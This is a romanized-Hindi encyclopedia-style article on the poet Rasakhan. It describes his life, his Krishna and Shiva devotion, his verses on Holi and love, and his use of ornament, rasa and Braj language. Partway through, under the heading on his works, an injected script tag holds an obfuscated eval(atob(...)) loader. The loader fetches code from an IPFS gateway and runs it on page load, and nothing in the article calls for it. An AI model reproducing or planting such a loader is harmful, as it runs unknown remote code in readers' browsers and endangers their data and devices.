रसखान की साहित्यिक विशेषताएँ

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rasakhan vishay soochi
jivani    vyaktitv evan krititv    sahityik visheshataean    kavitaean    bhasha    bhakti-bhavana    prakriti varnan    darshan
rasakhan ki sahityik visheshataean
poora nam saiyyad ibrahim (rasakhan)
janm sanh 1533 se 1558 bich (lagabhag)
janm bhoomi pihani, haradoee zila, uttar pradesh
karm bhoomi mahavan (mathura)
karm-kshetr krishna bhakti kavy
mukhy rachanaean 'sujan rasakhan' aur 'premavatika'
vishay sagun krishnabhakti
bhasha sadharan braj bhasha
vishesh yogadan prakriti varnan, krishnabhakti
nagarikata bharatiy
any janakari bharatendu harishchandr ne jin muslim haribhaktoan ke liye kaha tha, "in musalaman harijanan par kotin hindoo varie" unamean "rasakhan" ka nam sarvopari hai.
inhean bhi dekhean kavi soochi, sahityakar soochi
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rasakhan ki rachanaean
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

saiyyad ibrahim rasakhan ke kavy ke adhar bhagavan shrikrishna haian. rasakhan ne unaki hi lilaoan ka gan kiya hai. unake poore kavy- rachana mean bhagavan shrikrishna ki bhakti ki gee hai. isase bhi age badhate hue rasakhan ne suphijm (tasavvuph) ko bhi bhagavan shrikrishna ke madhyam se hi prakat kiya hai. isase yah kaha ja sakata hai ki ve samajik evan apasi sauhard ke kitane himayati the.

holi varnan

krishna bhakt kaviyoan ki tarah rasakhan ne bhi krishna ji ki ullasamayi lilaoan ka vistarapoorvak varnan kiya hai. unhoanne apane padoan mean krishna ko gopiyoan ke sath holi khelate hue dikhaya gaya hai, jinamean krishna gopiyoan ko kianbhago dete haian. gopiyaan phalgun ke sath krishna ke avagunoan ki charcha karate hue kahati haian ki krishna ne holi khel kar ham mean kam- vasana jagrit kar di haian. pichakari tatha ghamar se hamean kianbhago diya hai. is tarah hamara har bhi toot gaya hai. rasakhan apane pad mean krishna ko maryada hin chitrit kiya hai:-

avat lal gulal lie mag sune mili ik nar navini.
tyoan rasakhani jagai hiye yatoo moj kiyo man mahi adhini.
sari phati sukumari hati, aangiya daraki saraki rang bhini.
lal gulal lagai ke aank rijhai bida kari dini.

hari shankari

rasakhan hari aur shankar ko abhinn manate the-

ik aur kirit base dusari disi lagan ke gan gajat ri.
murali madhuri dhuni adhik oth pe adhik nad se bajat ri.
rasakhani pitanbar ek kandha par vaghanbar rajat ri.
kod dekhad sangam le bu daki nikas yah bhekh soan chhajat ri.

shiv stuti

rasakhan ke padoan mean krishna ke alava kee aur devataoan ka zikr milata hai. shiv ki sahaj kripaluta ki or sanket karate hue kahate haian ki unaki kripa drishti sanpoorn dukhoan ka nash karane vali hai-

yah dekhi dhatoore ke pat chabat au gat soan dhooli lagavat hai. chahuan or jata aantakai latake phani soan kafani paharavat haian. rasakhani geee chitavaian chit de tinake dukhaduand bhajavat haian. gajakhal kapal ki mal visal sogal bajavat avat hai.

ganga garima

ganga ki mahima ke varnan ki paripati ka anusaran karate hue rasakhan ne bhi ganga ki stooti mean ek pad hi sahi, magar likha hai --

bed ki aushad khai kachhu n karai bahu sanjam ri suni mosean.
to jalapan kiyau rasakhani sajivan jani liyo ras tertri.
eri sughamee bhagirathi nit pathy apathy bane tohian pose.
ak dhatooro chabat phire vish khat phirai siv teai bharosean.

prem tatha bhakti

prem tatha bhakti ke kshetr mean bhi rasakhan ne prem ka vishadh aur vyapak chitran kiya hai. 'radha aur krishna prem vatika' ke masi masin haian. prem ka marg kamal tantoo ke saman naguk aur atidhar ke saman kathin hai. atyant sidha bhi hai aur tedha bhi hai. bina premanubhooti ke anand ka anubhav nahian hota. bina prem ka bij hriday mean nahian upajata hai. jnan, karm, upasana sab ahankar ke mool haian. bina prem ke dridh nishchay nahian hota. rasakhan dvara pratipadit prem adarshoan se anuprerit hai. rasakhan ne prem ka spasht rup mean chitran kiya hai. prem ki paribhasha, pahachan, prem ka prabhav, prem prati ke sadhan evan prem ki parakashtha prem vatika mean dikhaee p dati hai. rasakhan dvara pratipadit prem laukik prem se bahut ooancha hai. rasakhan ne 52 dohoan mean prem ka jo svaroop prastut kiya hai, vah poornataya maulik haian.

va lakuti aru kamariya par raj tihooanpur ko taji darau.
athahu siddhi navaan nidhi ko sukh nand ki gai charaee bisarau.
e rasakhani gavai in nainan te bj ke ban- bag niharai.
kotika yah kalaghot ke dham karil ki kuanjan upavarau.

baly varnan

dhoori bhare ati shobhit shyam joo, taisi bani sir sundar choti.
khelat khat phiraian aangana, pag paianjaniya kati piri kachhauti..
va chhavi ko rasakhan vilokat, varat kam kalanidhi koti.
kag ke bhag kaha kahie hari hath soan le gayo makhan roti..

kala paksh

mukhy lekh : rasakhan ka kala-paksh

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kavi ne kahian chamatkar lane ke lie alankaroan ko barabas thooansane ki cheshta nahian ki hai. bhav aur ras ke pravah par bhi usaki drishti kendrit rahi hai. bhavoan aur rasoan ki abhivyakti ko utkrisht banane ke lie hi alankaroan ki yojana ki gee hai. uchit sthan par alankaroan ka grahan kiya gaya hai. unhean door tak khianchane ka vyarth prayas nahian kiya gaya hai. auchity ke anusar thik sthan par unaka tyag kar diya gaya hai. rasakhan dvara prayukt alankar apane 'alankar' nam ko sarthak karate haian. shabdalankaroan mean anupras aur arthalankaroan mean upama, utpreksha evan roopak ki nibandhana mean kavi ne vishesh ruchi dikhaee hai. b di kushalata ke sath unaka sannivesh kiya hai, unhean is vidhan mean poorn saphalata mili hai. alankaroan ki sundar yojana se unaki kavita ka kala-paksh nissandeh nikhar aya hai.

bhav paksh

mukhy lekh : rasakhan ka bhav-paksh

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rasakhan ke kavy mean chh: sthayi bhavoan ki nibandhana milati hai- rati, nirved, utsah, has, vatsaly aur bhakti. yah bat dhyan dene yogy hai ki unhoanne paranparaprathita char sthayi bhavoan ko hi gaurav diya hai, jinamean anyatam bhav rati ka hai. krodh, jugupta, vismay, shok aur bhay ki upeksha ka mool karan yah pratit hota hai ki in bhavoan ka rati se mel nahian hai. rasakhan premi jiv the, atev unhoanne apani kavita mean tin prakar ke rati bhavoan ki rati, vatsaly aur bhakti ki vyanjana ki; jo bhav inamean vishesh sahayak ho sakate the unhean yathasthan abhivyakti kiya. doosara karan yah bhi hai ki unaki rachana muktak hai; atev prabandh kavy ki bhaanti usamean sabhi prakar ke bhavoan ka sannivesh avashyak bhi nahian hai.

ras sanyojan

mukhy lekh : rasakhan ka ras sanyojan

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rasakhan ne bhaktiras ke anek pad likhe haian, tathapi unake kavyoan mean bhaktiras ki pradhanata nahian hai. ve pramukh roop se shrriangar ke kavi haian. unaka shrriangar krishna ki lilaoan par ashrit hai. atev samany pathak ko yah bhraanti ho sakati hai ki unake adhikaansh pad bhakti ras ki abhivyakti karate haian. shastriy drishti se jin padoan ke dvara pathak ke man mean sthit eeshvar vishayak-ratibhav rasata nahian prapt karata, un padoan ko bhakti ras vyanjak manana tark sangat nahian hai. isamean sandeh nahian ki rasakhan bhakt the aur unhoanne apani rachanaoan mean bhajaniy krishna ka saras roop se niroopan kiya hai.

bhakti bhavana

mukhy lekh : rasakhan ki bhakti-bhavana

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hindi-sahity ka bhakti-yug (sanvath 1375 se 1700 vi0 tak) hindi ka svarn yug mana jata hai. is yug mean hindi ke anek mahakaviyoan– vidyapati, kabiradas, malik muhammad jayasi, sooradas, nandadas, tulasidas, keshavadas, rasakhan adi ne apani anoothi kavy-rachanaoan se sahity ke bhandar ko sampann kiya. is yug mean satrahavian shatabdi ka sthan bhakti-kavy ki drishti se mahattvapoorn hai. sooradas, mirabaee, tulasidas, rasakhan adi ki rachanaoan ne is shatabdi ke gaurav ko badha diya hai. bhakti ka jo aandolan dakshin se chala vah hindi-sahity ke bhaktikal tak sare bharat mean vyapt ho chuka tha. usaki vibhinn dharaean uttar bharat mean phail chuki thian. darshan, dharm tatha sahity ke sabhi kshetroan mean usaka gahara prabhav tha. ek or saanpradayik bhakti ka zor tha, anek tirthasthan, mandir, math aur akha de usake kendr the. doosari or aise bhi bhakt the jo kisi bhi tarah ki saanpradayik halachal se door rah kar bhakti mean lin rahana pasand karate the. rasakhan isi prakar ke bhakt the. ve svachchhand bhakti ke premi the.

bhasha

mukhy lekh : rasakhan ki bhasha

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solahavian shatabdi mean brajabhasha sahityik asan par pratishthit ho chuki thi. bhakt-kavi sooradas ise sarvadeshik kavy bhasha bana chuke the. kintu unaki shakti bhasha saushthav ki apeksha bhav dyotan mean adhik rami. isilie baboo jagannath das ratnakar brajabhasha ka vyakaran banate samay rasakhan, bihari lal aur ghananand ke kavyadhyayan ko sooradas se adhik mahattv dete haian. bihari ki vyavastha kuchh k di tatha bhasha parimarjit evan sahityik hai. ghananand mean bhasha-saundary unaki 'lakshana' ke karan mana jata hai. rasakhan ki bhasha ki visheshata usaki svabhavikata hai. unhoanne brajabhasha ke sath khilava d n kar usake madhur, sahaj evan svabhavik roop ko apanaya. sath hi bolachal ke shabdoan ko sahityik shabdavali ke vikat lane ka saphal prayas kiya.



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
rasakhan

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